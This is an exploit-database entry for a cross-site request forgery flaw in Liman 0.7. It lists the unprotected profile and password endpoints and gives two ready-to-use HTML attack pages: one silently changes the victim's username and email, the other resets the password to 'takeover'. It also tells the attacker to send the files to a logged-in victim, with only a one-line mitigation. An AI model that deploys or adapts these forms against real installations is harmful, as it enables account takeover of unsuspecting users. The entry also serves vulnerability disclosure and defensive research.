header-logo
Suggest Exploit
vendor:
Liman
by:
George Tsimpidas
6.8
CVSS
MEDIUM
Cross-Site Request Forgery
352
CWE
Product Name: Liman
Affected Version From: 0.7
Affected Version To: 0.7
Patch Exists: NO
Related CWE: N/A
CPE: a:salihciftci:liman:0.7
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Ubuntu 18.04.5 LTS (Bionic Beaver)
2020

Liman 0.7 – Cross-Site Request Forgery (Change Password)

There is no CSRF protection in Liman application, with a little help of social engineering (like sending a link via email/chat) an attacker may force the victim to click on a malicious link, with the purpose of manipulating his current account information, or changing entirely his password.

Mitigation:

Implement CSRF protection in the application.
Source

Exploit-DB raw data:

# Exploit Title: Liman 0.7 - Cross-Site Request Forgery (Change Password)
# Date: 2020-10-07
# Exploit Author: George Tsimpidas
# Software Link : https://github.com/salihciftci/liman/releases/tag/v0.7
# Version: 0.7
# Tested on: Ubuntu 18.04.5 LTS (Bionic Beaver)
# Category: Webapp

Description:

There is no CSRF protection in Liman application, with a little help
of social engineering (like sending a link via email/chat) an attacker may
force the victim to click on a malicious link, with the purpose of
manipulating his current account information, or changing entirely his
password.

Vulnerable Endpoints :

http://127.0.0.1:5000/settings/profile
http://127.0.0.1:5000/settings/password

Proof of Concept


Download the application, make an account and login inside the
panel under : http://127.0.0.1:5000 expose the docker port on 5000.


Save this .html files and send it to victim (Victim should be
logged in in the browser)

Crafted value will be added.

Account Information CSRF :

<html>
<body>

<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:5000/settings/profile" method="POST">
<input type="hidden" name="username" value="betatest" />
<input type="hidden" name="email" value="test@gmail.com" />
<input type="submit" value="TakeOver Account Settings" />

</body>
</html>


Password Change CSRF :

<html>
<body>

<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:5000/settings/password" method="POST">
<input type="hidden" name="password" value="takeover" />
<input type="hidden" name="newPassword" value="takeover" />
<input type="hidden" name="confirmPassword" value="takeover" />
<input type="submit" value="Password TakeOver" />



</body>
</html>